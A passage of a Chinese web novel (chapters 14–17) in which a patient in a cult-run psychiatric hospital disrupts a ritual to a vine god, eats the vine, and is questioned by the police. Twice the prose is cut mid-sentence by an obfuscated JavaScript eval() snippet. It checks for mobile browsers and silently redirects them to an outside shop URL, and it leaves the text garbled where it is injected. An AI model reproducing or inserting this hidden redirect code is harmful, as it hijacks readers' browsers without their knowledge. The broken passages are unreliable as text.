他把纸放到桌子上,外表一副胸有成竹,但内心慌得要死,上面的术语啥玩意的,他根本看不明白。 “那个啥,尤浅,你这个病还挺严重的。” 他努力地组织起为数不多的词汇,尽力解释道:“你这个幻听啊,什么的,需要慢慢调节,所以药不能停,你回去吧,回去乖乖吃药。” 尤浅努力保持微笑:“……” 这家伙,演技好敷衍啊,行吧,反正已经得到自己想要的结果了。 尤浅似笑非笑的拉开椅子离开。 关门声一响,屋内的大叔顿时从还算有规矩的坐姿切换到到松松垮垮、歪七扭八的姿势。 他放松的把脚搭在桌上,脑袋搁到椅背上,望着天花板,双眼无神:“艾玛,真麻烦,这两百块钱真不好拿!干脆走了算了……” 14.夜谈 这家精神病院的资金充沛,背后的人也不少。 它在某些人口中被戏称为“废物收容所”。 能进到这里的病人都是“被放弃”的,他们的家庭背景要么有权,要么有钱。 病人的父母或是兄弟姐妹、亲戚等能供得起昂贵花销,却又缺少必要的关心关爱。 病人如同被放养了一般,进来了,外界就很难知道里面的具体情况。 当然,那些人也懒得知道这种细枝末节,他们只要确定病人乖乖在病院里,不会给自己找事就好。 对他们而言,愿意给病院花一大笔钱,没有让那些人自生自灭就是天大的仁慈。 午饭期间,尤浅发现精神恍惚,如同行尸走肉般的病人几乎多了一倍,而看管他们的护士数量也增加了不少。 先前被尤浅重点关注的那几个病人神态更为呆滞,她/他们垂着脑袋,干裂的嘴唇开开合合,不知道在嘟囔着什么,丝毫看不出来这些人曾是被人捧在手心的公子、小姐。 尤浅用筷子扒拉了一大口西红柿炒鸡蛋和米饭,腮帮子鼓鼓囊囊的,像一只囤粮的仓鼠。 酸酸甜甜的味道在口腔里蔓延,他盯着那边嚼了两下,随后放下筷子,豁然起身,在所有人都没反应过来时,他一把薅着一名护士的胳膊。 “我的医生不见了。”他把食物咕噜一下咽下去,眼泪汪汪,面上全然是害怕与惶恐,“神,神罚!这是他不信任神灵的惩罚,对不对?” 整个人都显得有些神经质。 护士本来打算好言好语的将尤浅劝走,但“神”这个关键字眼触碰到护士小姐敏锐的神经,她的眼神骤然冷冽,从腰间一摸,掏出一根针管就毫不犹豫的对着尤浅脖子扎去。 而尤浅则瑟瑟发抖,咬着手指紧紧地贴着护士:“姐姐,我的医生呢?我害怕……我那么尊敬神明,不会,下一个不会是我吧,呜呜呜呜,嘶……” “噗”,针尖刺入血肉。 护士丝毫没有手软,直接按着把药水全部注入血管,不到一秒,尤浅就软软地倒下,直接倒在地上。 她把针管收回原位,居高临下地看了眼躺在她脚边、神志不清的青年,在众人面前,要适当的演戏,于是她蹲下身子把人扶起来,意味不明地轻笑了一声。 在心里暗道:不老实的家伙,今天晚上就把你给处理了。 祝臬再次和其他病人一同鼓掌,他的眼睛里满是看见一出好戏的开心。 随后,尤浅被直接拖走,整顿午饭时间都没有再出现,但这并不妨碍祝臬继续吃饭,甚至因为这个小插曲,他再次吃撑了。 尤浅被粗暴地扔到床上,等其他人都走了,他的面上哪还有之前昏昏沉沉的模样,躺在床上,他无趣地拽了拽束缚住自己的东西。 没什么新鲜的,就是一个很常见的束缚带。 显然,那些人对尤浅升起杀心,而且是不加掩饰的那种,他们为了以防万一,直接把尤浅锁在床侧栏杆上了。 等祝臬回来,他一眼就看见尤浅手腕上多出来的东西,他还挺好奇的,便东转转、西转转,时不时还上手摸两下。 “真稀奇,我从来没见过她们敢这么对待我身边的人。”看够了,祝臬往自己床上一坐,摆开姿势要和尤浅畅聊。 “你要打算做什么呢,等等,你先别回答,让我自己先想想。”祝臬自顾自的猜测起来,他不想让尤浅直接把谜底告诉他,他要先自己猜猜看。 他看着一脸平静,甚至隐隐有些期待的尤浅,“你是为了神明,才进来这里的吧。” 尤浅开心点头,示意祝臬他说对了。 “你知道我出去了是不是?你还发现食堂的老鼠,其实老鼠是另外一名神的神使,但那名神已经陨落,现在病院里只有一位神灵存在。”祝臬的眼睛越说越亮,他不知不觉中露出一抹诡异的笑容。 “你的目标竟然是祂吗?不得不说,你真的蛮大胆的。”他轻抚手掌,轻慢地夸赞着。 他原先是不信神的,但疾病的折磨让他选择自我放逐,进入病院,最初开始信奉神灵也是因为无所事事,他想找个事干。 但神奇的是,自此以后祝臬感到前所未有的轻松。 “你知道的,那些医生和护士里不少都是信徒,昨天刚刚出事,在这么敏感的时期,今天你又自己跑出去,不用怀疑,你肯定进入她们的暗杀黑名单了。” “不过,他们竟然敢算计到这种地步。”祝臬想起吃药与不吃药的区别,原本亮闪闪的眼睛暗下来,讽刺地弯了弯眼睛,又道。 “呵,他们死定了!” 听到这里,尤浅终于忍不住的想说话了,他一直都觉得祝臬的言语行为里藏着微妙的异样。 他用胳膊肘撑住身子,自己半靠在床头,又仔细砸摸了下祝臬的语气与其中流露的态度。 “或许信徒与信徒之间也不一样吧。” 病床上的青年逆着光,祝臬看不清他的表情,只能听见语调随性,可又带着压迫感的声音缓缓响起。 “打个比方,如果病院是神的牧场,那围墙与围墙上的植物就是神无处不在的眼睛,护士医生是看守的忠诚鹰犬。” “病人是被鹰犬放牧的牲畜,源源不断地产出各种值钱的材料,等到最后没有价值了,再被遵从主人指令的鹰犬收割,回收最后的价值。” 尤浅突然觉得这个模式有些眼熟,他停顿一秒,才若无其事地继续说下去。 “但医生和护士作为鹰犬,本身就具备一定的监督作用,那是否和植物有些重叠呢?” 听到这里,祝臬坐直了些,尤浅放弃了如今累人又不舒服的姿势,复又躺回床上。 “所以,医生和护士本身也是一种富有价值的、最后会被收割的猎物。” “那么,你在其中扮演的是什么角色呢?”尤浅从祝臬的几次言语中,可以听出来,他对医生和护士的态度与其他病人不同。 其他病人会害怕,会下意识地听从,而祝臬会说:“我要把她开除”,会说:“我从来没见过她们敢这么对待我身边的人”,还会说“他们死定了”。 往常和祝臬待在一起的细节被尤浅想起。 包括前两次吃药,王护士好糊弄,可那位新护士被有意地转移注意力后,虽然很快就反应过来去注意祝臬,在后续也检查了口腔。 但对于病人来说,藏药的手段百花齐放,那位护士在以前真的没有遇到过类似的事情发生吗? 按理来说,这是首次加药,她应该更严格的对待这件事情,看看是否有病人偷偷藏药不吃,但她没有,只是照例检查了一下。 即便是尤浅也觉得有些奇怪了。 尽管祝臬因为光线原因,看不清尤浅的脸,但他知道那道目光自始至终就徘徊在他的脸上,从未离开。 他笑了笑:“你不是说了嘛,病人是被圈养的牲畜的啊。” “哎——”尤浅拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13307037|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长音调,对于自己话里话外的怀疑与不相信不加掩饰地道:“不是吧,你现在骗我做什么啊,直接实话实话呗。” 祝臬下地,趿拉着拖鞋走到尤浅身边,他双手撑着栏杆,弯腰往下看。 “我没骗你,只不过我当时不知道药有这种作用。”祝臬语气冷淡,再也没有之前伪装出来的笑意。 “我和那些病人不一样,我是自愿信仰这位神明的。”他看着尤浅,没有提及自己为什么会进到病院,只是在说自己在病院里的经历。 “在病院里很无趣、很无聊,就算我是自己要求进来的,但我也很难忍受日复一复,重复重复重复的生活。” “这会让我感觉我要死了,所以我决定给自己找点事情做。” 随着祝臬的讲述,尤浅看见了一脸厌倦、躺在病床上,像死人一样生活的祝臬。 当时,他眼里的灵光消失,如同干枯的水井,里面死寂一片,暮气沉沉的活着,最终精神死去,留下来的只有一具□□。 “关于我是如何成为信徒的记忆很模糊,但我记得,第一次发现他们,是因为我昼夜颠倒,整天昏昏沉沉,于是晚上睡不着。” 一副画面随着他的叙述出现。 祝臬枯坐在床上,面无表情地看着外面皎洁的月亮,他的脑子里思绪如同陷进沼泽,思维已经不怎么转动了。 可外面的虫子吱吱叫个不停,他猛地伸手推开窗,一阵凉风吹过,他突然觉得自己为什么不出去走走? 于是他就披着衣服,一路畅通无阻的来到花园,本来他就想找个亭子坐一会就回去,但谁知他看见了“僵尸出动”。 “当时我连害怕的心情都没有了。”祝臬说着说着觉得当时的情况有些好笑,“看见那些病人的第一眼,我就觉得,世界要完了,僵尸都出现了。” “甚至我还想,要不要给弟弟打个电话,让他抓走研究,或者我先去洗个澡,再跑回来,让他们咬我一口,等以后,我就是个资历老的老僵尸了。” 尤浅被逗笑了,他的身子笑地颤抖着厉害,“哈哈哈哈,早变异早完事,以后说不定还能凭借年份混成飞僵当当。” “飞僵是什么?”祝臬不懂就问。 尤浅笑得停不下来,他一想到祝臬这么嫌弃脸上绿芽的人,会全身长毛,他就想笑。 “不哈哈哈,你不用哈哈哈哈,呼……知道。” 祝臬看他笑得那么开心,哼了一声,“不知道就不知道嘛!” “反正就是这么一个过程,估计他们巴不得我信仰这个神灵,这家精神病院我们家可还有股份呢……”说到这里,祝臬就来气。 这群家伙竟然用药算计他?几顿没吃药的祝臬回想起这些日子,只觉得不可思议。 他到底因为什么觉得这里很正常?那些病人的状态多不对劲啊…… 平常没回忆还不觉得,如今回忆起来,只觉得蒙在他脑袋里的雾气已然消散一大半。 他都不知道自己能有那么虔诚的态度。 祝臬磨牙,也终于记起来在通风管道,他为什么觉得医生脸上的绿芽眼熟了。 因为——“那个神就是一株丑陋的植物啊!” “咳咳,哈,咳……”尤浅终于笑够了,安静下来。 因为手没法抬太高,他就转着脑袋,用被单蹭去自己脸上被笑出来的眼泪,看了眼群聊屏幕,发现天下仙已经把资料找出来发在群里了,他粗略地扫过那几行字。 15.群魔乱舞的开始 “所以,那些护士医生不敢强硬对你,一是因为你的弟弟在外面惦记着你,二是因为你还是这家医院的……股东?”尤浅看着那个不认识的名词,卡壳一下,但还是照着念出来了。 这样就说得通了,祝臬加入信仰邪教,简直是自投罗网。 “不好意思,这家精神病院即将要倒闭了。”尤浅觉得他应该给面前这个人一点心理准备。 祝臬还在试图反驳弟弟惦记他的话,可不等他组织好语言,就被后面突如其来的一句弄得有些懵:“啊?” 随后,他断掉的思路重新连上,满不在意地挥手:“倒闭了最好,吃着外面给的钱,在里面不干人事,这种地方早该倒闭了。” “你打算怎么做?”祝臬反而对尤浅接下来的行动更感兴趣。 尤浅把群聊一关,冲着祝臬勾唇一笑:“顺其自然吧,不过我觉得晚上的热闹可以更大一些。” 祝臬若有所思。 等和其他病人混在一起自由活动时,他看了看把病人当球踢的,觉得这个可以派上用场。 胡言乱语揪着草叶往别人嘴里塞的,这个也可以扰乱现场。 安安静静蹲成一排的……不,这些不能要。 祝臬像是在挑宠物一样,左右挨个看了一圈,看看带谁去能让事情发展更好玩一些。 …… 夜晚如期而至。 尤浅在祝臬的帮助下,成功把自己拷了回去。 他挺了挺自己干瘪瘪的肚子,在内心安慰自己,没关系,不要紧,一会肯定会吃得饱饱。 沙鲁洼也配合着晃晃自己的触须,悄悄的探出一截,‘我,我也想吃!’它傻乎乎的和尤浅说道。 ‘吃吃吃,到时候分你一根,都吃饱饱。’尤浅伸出手指抓住它探到床边缘的触须须子,捏了捏,爽快地同意了。 反正猎物足够多,沙鲁洼最近虽然出了岔子,但也帮了不少忙,它想吃就吃吧。 祝臬没有等医生过来,他在听见耳边比之前弱了许多的呓语响起来时,就打开门自己先过去了。 只留下一个被束缚在原位,动弹不得,可怜弱小又无助的尤浅。 才怪,他绝对会把祭祀弄得一团糟。 “吱呀~”一道光亮透进来。 举着针管的医生像个变态一样,他阴森森地卷起袖口,大步来到此时一脸懵、却下意识挣扎的尤浅面前。 “你……哎?”尤浅话还没说一半,就被扎了一针,随即,熟悉的感觉翻涌,他知道,他又该装晕了。 于是他两眼一翻,无力地躺在床上,一副任人宰割的模样。 他半睁着眼被人抬走,外面微凉的风轻柔地摸了摸他的脑袋,其中掺杂着微不可查的血腥味。 血腥味? 尤浅又仔细嗅了嗅,没错,真的有一股血腥味。 而且……尤浅头朝下,仗着没人能看见他的表情,直接拧起眉毛。 这股血味里蕴含的正是「伪装色」的气味。 今天晚上的祭品不会是一堆老鼠和自己吧!?尤浅对于医生和护士把自己等同于老鼠的做法不太认可。 等到了现场,他发现……被人围住的正中间,真的有堆成山高的老鼠堆。 这里不在病人住宿楼和食堂中间的花园里,而在临近病院后门,病人自由活动无法到达的、长期锁门的后院。 这里比小花园更荒凉,到处都是肆意生长的藤蔓枝条,甚至再夸张一点,挂在树上的藤蔓分支,和生长的树叶都差不多一样多了。 祝臬好像被排挤了。 他既没有和医生护士站在一起,也没有和病人站在一起。 甚至医生和护士的站位在暗暗警戒着他。 不过他并不在意,反而一派悠然自得,在看见尤浅被人像扛猪一样扛过来时,这家伙还偷笑了两下。 医生昂首挺胸,拍手示意把尤浅放到树叶铺成的叶子地毯上,并从老鼠山上拿了几只老鼠,仔仔细细地绕着尤浅围了一圈。 老鼠首尾相连,一只嘴里叼着上一只老鼠的尾巴,而且身子也被摆的板正。 这就让在中央的尤浅像是老鼠王成精,被一群老鼠死不瞑目地拱卫起来。 属于是只要有正常人来,一眼就可以看出不对的程度。 祝臬肩膀抖动的幅度又大了一点。 而医生和护士则默默挪了挪脚步,把祝臬往后隔开,不信任的意味更重一层。 窸窸窣窣的声音从杂草丛里、树上传来,四面八方,到处都在响。 一条条藤蔓如同藏在暗处的蛇,或是蜿蜒曲折地爬出来,或是从高处吊着身子往下探。 它们无论怎么爬行蠕动,尖尖都始终坚定的对着老鼠中间的青年。 藤蔓的主体藏在暗处,粗大的枝条激动地颤抖,这个人,它望着青年的脸,从眉毛看到嘴唇,上上下下来回扫了好几遍。 它抖动的幅度更大了。 一根触须狠狠地戳进人类柔软的皮肤,一管红色的血染红它的脉络,顺着长长的茎流动,最终没入一处被树挡住的黑暗。 主体品到了那一晚上,让它记忆犹新的味道。 ——在一家医院里面,分身死去之前,传回来的味道。 醇香的血液里面蕴含着一丝很纯粹,可它却无法分辨出到底是什么的能量与气息,这股能量与气息比它体内的斑驳的「枯萎」纯净许多。 对它来说,是大补之物。 没错,就是这个青年。 藤蔓在看见青年脸时,心里就升起的猜测得到证实,它现在无比确定,医院里分身偷吃到的血液,就是来源于这个青年。 藤蔓的智商不高,即便是在机缘巧合下拥有强大的力量,但也没有进化出足以匹配的神智。 它能动,能思考,但本能却重重地占据它一半多的脑子。 虽然分身死的不明不白,甚至很大可能就是死于这位青年手里,但藤蔓还是被源源不断传来的甜美血液,灌晕了头。 它迫不及待的想要品尝到更多。 于是又是几根藤蔓枝条弯弯曲曲地搭在尤浅身上,一头扎入尤浅体内。 青年被藤蔓缠住,他的四肢变成藤蔓缠绕生长的树干,供藤蔓攀爬,而藤蔓就像是在医院里一路蔓延的输液管,连接着两端。 本来墨绿色的植物表皮变得透明,里面清晰可见潺潺流动的晶莹血水。 遥遥看去,青年宛若刚刚诞生的树人,从血肉里长出血红的植物根系一样,在未来会开出颓靡艳红的花。 “神对我们的祭品非常感兴趣!”一声激动地叫喊唤醒众人的注意。 医生和护士丝毫不嫌弃泥土会弄脏自己的衣物,脸上带着狂热的喜悦与笃信,双膝结结实实地跪在地面。 病人有几个下意识要跟着一起下跪的,但他们刚刚弯下膝盖就想起,祝臬在下午和他们说的那些话。 于是纷纷犹豫不决的往祝臬那边看去。 在见到祝臬大大咧咧地站在原地时,他们重新直起半弯的膝盖,这让医生和护士很吃惊。 这是对神的不敬! 但是他们不敢打扰神的进食,只能边用想杀人的眼神瞪着病人,边嘀嘀咕咕小声的向神祷告。 藤蔓时不时地拂过他们头顶,他们便趴在地面,不敢抬头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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病人看呆了,他们突然觉得这层血衣好炫酷,从心里燃起一股子激情来。 而祝臬毫无犹豫的帮他们点燃了这股冲动。 “好耶!大家!一起玩起来吧!”祝臬大手一挥,原地蹦起来喊道。 还保持着低头垂眸,不敢看的医生和护士因为耳边炸响的声音有些懵。 等一下,玩起来? “哦!喔喔喔嗷!”病人被尤浅身上的鲜血刺激的愈发不受控,他们张牙舞爪地散开,有人就近捡着老鼠就开始四处抛打。 医生和护士跪在地上瑟瑟发抖,因为突然热闹起来的动静,他们甚至开始怀疑这是不是神给他们灌输的幻觉。 但当一只死老鼠砸到他们身上时,这种猜想被立马抛到脑后。 “你们!都给我停下来!”一名男医生率先抬头,当他看见群魔乱舞的现场时,整个人都绷不住了。 有的病人宛若一只返祖的猴子,抓着藤蔓变成山大王,从这边荡到那边。 还有的和撒欢的哈士奇一样,吐着舌头到处创人,他发现跪成一团的人有了动静,于是手臂一横,搂着这个第一个发话的男医生就跑。 “呕……咳,啊啊啊,你有病吧!?”男医生干呕一声,差点没吐出来,他觉得自己的胃被钢铁铸就的坚硬胳膊勒紧,一股恶心反胃的感觉怎么压也压不下去。 祝臬开心地鼓掌,同时也在四处寻找自己好兄弟的深身影,当他好不容易找到尤浅时,却忍不住地惊呼出声:“哇天!” 16.又见熟人 只见一棵大树后面,在森白昏暗的月光下,满身是血的青年压倒一片草丛。 他不顾形象地趴在地上,双腿紧紧地夹着一根粗大的藤蔓,两只手抱着枝条往嘴里送。 “咔嚓咔嚓”地咀嚼着,汁水顺着牙齿与唇缝往外淌,同时他的手也没停下,他像吃面条一样挑起一根,不断地往外拉扯。 红色的血与淡绿色的液体糅杂在一起,沿着青年五官轮廓与皮肤肌理,涂抹出类似油画的质感,泛着莹莹微光。 非常富有色彩冲击力与纹理层次感。 不过祝臬惊叹的不是外表如何,而是尤浅进食的对象。 他的眼神黏在尤浅的嘴巴上,盯着他大口大口地吃着藤蔓,突然,他笑了,极具嘲讽地笑着说道 “哈哈哈哈这就是神吗?一个被人吃掉的神?” 之前出现过的年长护士长大惊失色,她往尤浅那边看去,瞬间目眦欲裂,她推开一个在她面前做鬼脸的病人,如同一头愤怒的犀牛。 她踏着沉重地脚步,浑身上下散发着滚滚怒火,从她即将喷火的目光里,还能窥探到更深层次的不安。 于是她一句话也说不出来,只是勇往直前的向尤浅吹起冲锋号角。 但更多的病人拦在她身前。 他们褪去温顺的外皮,脱下棉柔的羔羊毛,从死气沉沉地压迫下,挣脱出内里嶙峋粗糙的毛发,与生命澎湃的心脏。 一汞又一汞的血液滚烫,烫出他们早已煎熬难耐,叫嚣着要火烧恶魔的愤慨。 “失去理智的人不足为惧。”祝臬斜睨着那个不复从前那般游刃有余的护士长。 随后,他扯出一幅作怪滑稽的笑容,但却无法让人会心一笑,因为他的手里举着刚刚折下来的树枝。 “野蛮无畏的鹰犬终会被我们驯服。” 他挥舞着长长的、树叶簌簌的枝条,像甩起牧羊人的鞭子。 “嗖啪——” 柔韧的树条精准地甩到了护士长的眼角,抽出一大道红痕。 “哇!哇吼!”病人吱呀乱叫,护士长长期以往覆盖在他们身上的压迫感,在这一鞭子下烟消云散。 她如同犀牛失去令人胆寒的犄角,只有硕大的身躯还残存着仅有的威慑。 即便她闪着愤怒光芒的眼球里冒出两条蜿蜒的藤蔓,可病人依然无畏地涌上前。 他们用牙在咬,用指甲在扣,无所不用的将护士长掀翻。 其他医生和护士也都反应过来,可他们信奉的时间没有护士长那么长,被侵蚀的程度不足以他们催生出藤蔓,供自己使用。 他们只能和病人一样,捡起什么用什么,爆发出最原始地打斗。 此时这里一片混乱,藤蔓察觉到自己的力量在被人不停地吸走,也开始不顾一切的胡乱攻击,乱打一气。 生气的它见谁抽谁,完全不管被攻击到的是不是自己的信徒。 尤浅被藤蔓拖着在空中摇摆,从左边来到右边,从右边来到中间,在低空被带着飞来飞去,好几次都差点碰到祝臬的头。 沙鲁洼因为食物众多,开心地嗷嗷叫唤,抓着几根比较小的就开始啃。 但更多的藤蔓从泥土里升腾而起,整片前院花园泥土横飞,大家都变成小泥猴一样,脏兮兮的。 只有尤浅因为自始至终没落下来,所以身上还算是干净,不过这里的干净特指他身上没有什么泥土。 他好似一只吸盘力度非常大的八爪鱼,无论藤蔓如何抽打他,撕扯他,他都恍若未闻,死死地抱住不撒手。 藤蔓抽打的力度很大,每一击都会带出被撕裂的肉沫,露出鲜血淋漓的伤口。 但尤浅不在乎,疼痛对他而言是更好的调味品,他自始至终只做了两件事,那就抱住藤蔓,然后狠狠地咬上去吃它。 他身上的伤口被撕裂、被覆盖,变成密密麻麻的一层,但又会在被他食用的能量作用下快速愈合,如此反复,尤浅的皮肤反而变得坚韧不少。 “不行!不准吃!啊啊啊,你们这帮愚民,快滚开!”这是医生和护士绝望地哀嚎,直到这一刻,他们仍然被「枯萎」蛊惑。 而病人则嘻嘻哈哈的,始终牢牢地缠着他们。 群聊里的神明看得眼花缭乱,精神病人们花活不断,整得本来是较为严肃危险的环节,如今却变成哈士奇与猴子的狂欢会。 一位病人的声音温柔,正常说话就如春风拂面一样,可她却格外喜欢唱歌,尤其是在现在这么开心热闹的场景里,她更想高歌一曲。 于是完全不在调上,像女鬼哭嚎般的歌声回荡。 不知不觉摸到门口的警卫队脸都绿了,这似哭非哭的长调,这时不时嚎叫一声的伴奏,她们本就凝重的面容愈发凝重。 此时,她们笃定这里面的病人遭受了非人对待,肯定备受折磨。 于是……队长大手一挥。 “轰隆。”大门被大力撞开 一束刺目的光打在满地乱爬乱跑的病人、护士、医生脸上。 也将他们纠缠的动作照的一清二楚。 这…… 一时,鸦雀无声。 只有尤浅还挂在速度慢下一截、开始萎靡不振的藤蔓上飞来飞去。 “嗯……”队长突然不知道该说些什么,认真板起来的脸差点破功。 她艰难地吐出喉咙里卡住地指令:“把,把他们通通带走!” 尤浅两耳不闻窗外事,继续抱着嚼嚼嚼、啃啃啃。 他有预感,藤蔓快被他和沙鲁洼啃死了! 在他吃完之前,没有人,没有人可以让他放弃他的食物! 警卫队也不行! “队长,队长!”队员对尤浅束手无措,尤浅像是长在藤蔓上了,和连体婴似的,根本撕不开。 队员的声音里隐隐有些绝望:“根本扯不开他啊,他都快要把这颗死藤蔓吃完了……” “呜唔。”尤浅不乐意他们的打扰,生怕这群人看上他的食物,于是双手抱得更紧了。 …… “姓名。” “尤浅。” “年龄。” “25?” “性别。” “……男吧。” 尤浅有些不确定这边对男女的定义,不过他想了想自己的能力在来的时候就被封印了,于是又肯定地来了一句。 “男!” 察觉到尤浅地停顿,子孙万千不由得和身边的天下仙感叹:“男人也可以怀孕的设定真的太美妙了,可惜,咱们家不行。” 在角落里默默吃糖果的腐烂甜果冷笑:“是啊,真可惜,你的子孙后辈没法翻倍增长了呢。” 子孙万千瞥去一眼,不吭声了。 尤浅见对面的人问完话,便格外自来熟地往前挪了挪身子,露出八颗牙齿的标准笑容:“薛队长,几天没见,你也来瑞华市了呀!” 对面的薛琪无语,他也没想到这还没过多久,就又和尤浅碰见了。< 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另一个人却呜呜两声,示意他松开,然后怯懦地询问:“那咱们找谁呀,就……那藤蔓什么的……找管控局执法者吗?” “人都被带走了,当然找警卫局啊,鬼知道他们会被运到哪儿去?万一出点什么事怎么办,必须让警卫局尽快找人。”冷静些的思路清晰。 就这样,在“人被绑着”,“面包车”,“凌晨”等等关键词下,警卫局一致认为精神病院在做器官贩卖等违法交易。 他们以人命优先,率先用一个白天将面包车上可怜的医生、护士解救,顺便还救了两个暂时没被杀死的病人,把他们都安顿好。 随后在证据确凿的情况下,气势汹汹地来到精神病院门口,再后来就是听见里面动静,踹门而入的场景画面。 连夜审问!通通连夜审问! 警卫队已经做好加班加点的准备,结果一通问答下来,他们直接两眼发黑。 警卫队队长看着纸上的记录,双眼一句一句地看过来,尤其在“神灵”上面多转了几圈,最终她无奈地拿起手机,拨通当地管控局的电话。 “喂,你们有一个案子在我们手上,派人来接一下。” 很符合逻辑的,事情被移交到管控局手里。 被派来学习交流的薛琪也当仁不让的开始工作。 结果……就碰见了熟人,那个一心一意信奉“邪神”,被忽悠瘸了的青年——尤浅。 他琢磨下措辞,抱着一点希望开口:“我听说你被发现时,正抱着一根藤蔓吃,那不是医生和护士嘴里的神吗,难不成你终于看清神是虚构的,不存在的事物了?” 尤浅撇嘴,强调道:“神是真实存在的,在不久的将来,你们将亲眼见证神的降临。” 薛琪:“……”心里的那点希望轻而易举地破碎,他还以为尤浅终于清醒了,现在看来,还是没有。 不过也是,都进精神病院了,哪能那么容易的摆脱这种错误思想。 他揉了揉鬓角附近的那块皮肤,拿起桌上的一份报告,果不其然,尤浅的病症和他目前的表现高度吻合。 上面黑字白纸,清清楚楚、明明白白地写着医生诊断——宗教妄想症。 “和我们聊聊你这两天在病院里的生活吧。”薛琪把纸搁到一边,接了两杯水,一杯放到尤浅面前,一杯自己拿着喝了一口。 他已经做好聆听尤浅长篇大论的准备了。 17.酒吧,来啦 尤浅盯着水杯,觉得它碍事,会影响自己发挥,干脆一把把它推开。 这次进局的待遇好,他没有被拷上,而是以很自由的状态面对这一次简单的问话。 于是他开始高谈阔论,势必要让人类意识到,神是真实存在的,邪恶的神秘力量不单单是变魔术的小把戏。 在独眼、腐烂甜果等神的期待下,他将在精神病院的全过程说了个遍,除了自己的能力和沙鲁洼外,他什么都没隐瞒。 然后…… 他就被薛琪的态度气到了。 “哦,我明白了。”薛琪很认真地将尤浅话里话外涉及到的不科学因素剔除,并缝缝补补,自己顺出一个完整的逻辑。 什么邪恶呓语,那是幻听。 什么藤蔓从人身体里钻出来,那是幻觉。 什么药不正常,那是病人不想吃药脑补出来,算被迫害妄想症吧? 在听见,尤浅最后将“神”吃掉时,尽管他早在同僚口中听说过这件事,但仍然认为尤浅病得不轻。 “嗯……你还有异食癖啊。”薛琪都有些怀疑自己的直觉了。 他凝重地看着尤浅,尽管得知他有精神类疾病,但他还是从尤浅身上品到了一丝对法律的漠然。 就像他现在大摇大摆地坐在这里侃侃而谈,薛琪从他身上看不出任何正常人该有的惶恐与紧张。 他的眼睛弯起一个细微的弧度,将思索掩在睫毛下面,他在心里告诫自己,不要再多想别的,毕竟坐在面前的只是一个精神病人。 尤浅抱着脑袋,他在想,要不要干脆在薛琪身上施展一次自己的能力好了,这样他肯定就能意识到自己的错误。 但是,但是,但是…… 他的能力被削弱了,无法长期控制一个人或是一群人。 敲钟人:我感觉他会怀疑你在催眠他……然后借着对社会有危害的理由,把你关起来。 敲钟人不想让尤浅冒险,他喜欢更稳妥的方法。 这颗星球因为两百年前,神秘侧力量肆意扭曲、操纵世界发展,导致它对外来的神秘力量很排斥。 铸造杀戮的异端受到重创,在力量地反噬下不得不进入沉眠,也是近几年才开始慢慢复苏的。 能让尤浅进到这颗星球,付出的代价何止是他身上被封印的那几个能力。 ——还有祂们几个本土神明的衰弱。 本就存量不多、靠数千万年时间缓缓累积的信仰力量再度减少。 如果这次孤注一掷下,尤浅没能成功,祂们就再也没有机会回归故土了。 祂们会死在外面,死在一颗陌生的星球上。 尤浅看见这条消息,垂着的脑袋一晃,差点磕到桌子上,吓薛琪一跳,还以为病人要犯病了,叠声叫人去拿药。 对哦!药! 尤浅猛地抬头,迫不及待地等着药被拿过来,他知道人类有可以分析药物成分的手段,只要把药给他们,等他们分析出结果时,不就真相大白了! “报告,药被化验科室带走了。”一个人空手而归。 薛琪听到后头开始隐隐作疼,他真怕这帮病人犯病闹出事来。 而被他担心着的尤浅听到后大喜,眼睛里反馈出浓浓的喜悦,好耶!不用他再费口舌,已经自动达到目的了。 对于病人而言,能配合着说几句话就已经很棒了,薛琪要求不高,他们东拼西凑地收集好记录,确认病人病症与身份无误后,就把他们全部放走。 不过他特意叮嘱尤浅,他说:“精神病人就不要到处乱跑了,老老实实找个靠谱的医院治一治。” 尤浅没有等到想要的结果,走出大门一时不知道要去哪里,沙鲁洼缩在影子里打着饱嗝,黑黝黝的体内,一小截手指大小的枯黄藤蔓像死了一样飘荡。 “呀,祝臬!”尤浅看见一抹高挑的熟悉背影,三步化作两步地追了上去。 祝臬拎着小包裹,慢吞吞地回眸,“啊,尤浅啊。”他停下脚步,想听听尤浅叫他做什么,结果就被自来熟的某人揽住肩膀。 伴随着体温贴近,还有一句话闯入他的耳朵,“你家地方大吗?咱们重温一下精神病院的生活呀!” 后面还跟了一句微不可查的气音:“还有……你体内的东西没弄干净呢,沙鲁洼挺想你的。” “啊?”祝臬错愕地抬头,还没等他说话,街道上就传来一串急促的车笛声。 “滴滴滴——” 他顺着看向不远处的黑色轿车,里面的人摇下车窗,从里面探出一颗圆润的脑袋。 一张长相俊美的脸上,从左眼角到下唇角烙印着一道疤痕,虽然不是很明显,但那一条白线也让他显得有些凶神恶煞,而他眼中的杀气无疑也说明这个人一点也不好惹。 尤浅目光微闪,他离祝臬更近了一点,压低声音:“这人谁啊?你的对家吗?用不用我……”他的手横在脖子上左右一划。 顿时车主人身上的戾气更重了,他甚至打开车门,迈出一条腿准备过来。 而祝臬则眼神复杂地拉住尤浅的手,在尤浅不明觉厉,但感觉事情有意思起来的表情中,郑重其事地点头。 “好兄弟,咱们走!” 他拽着尤浅拔腿就跑,像是遇见鹰的兔子,慌不择路,还是尤浅发现前面的巷子里有车经过,拉着他调头,才得以安全地换个方向继续狂奔。 他们身后是骤然炸响地喊声。 “哥——!你又抛下我!” 很难想象他是怎么夹着嗓子,发出一声酷似控诉负心人的声音,活像孟姜女哭长城般凄凉。 …… 尤浅若无其事地窝在沙发上啃薯片,“咔嚓咔嚓咔嚓……” 